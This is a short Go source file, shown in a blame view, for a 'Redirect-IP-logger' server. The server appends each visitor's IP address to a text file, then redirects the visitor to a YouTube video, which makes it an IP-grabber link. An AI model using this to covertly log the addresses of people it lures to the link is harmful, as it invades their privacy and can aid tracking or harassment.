Redirect-IP-logger/server.go

43 lines
792 B
Go
Raw Permalink Normal View History

2022-07-13 04:05:53 +00:00
package main
import (
"log"
"net/http"
2022-07-14 02:50:20 +00:00
"os"
2022-07-13 04:05:53 +00:00
)
func handler(w http.ResponseWriter, r *http.Request) {
2022-07-13 04:45:09 +00:00
ip := GetRealIP(r)
2022-07-14 23:46:02 +00:00
WritetoFile(ip + "\n")
http.Redirect(w, r, "https://www.youtube.com/watch?v=ZVQDHFgfssM", 301)
2022-07-13 04:05:53 +00:00
}
2022-07-13 04:45:09 +00:00
func GetRealIP(r *http.Request) string {
IP := r.Header.Get("X-Real-IP")
if IP == "" {
IP = r.Header.Get("X-Forwarder-For")
2022-07-13 04:05:53 +00:00
}
2022-07-13 04:45:09 +00:00
if IP == "" {
IP = r.RemoteAddr
}
if IP == "" {
IP = "No IPV4 address"
}
return IP
2022-07-13 04:05:53 +00:00
}
2022-07-14 02:50:20 +00:00
func WritetoFile(IP string) {
f, err := os.OpenFile("ListofIPs.txt",
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println(err)
}
defer f.Close()
if _, err := f.WriteString(IP + "\n"); err != nil {
log.Println(err)
}
}
2022-07-13 04:05:53 +00:00
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8081", nil))
}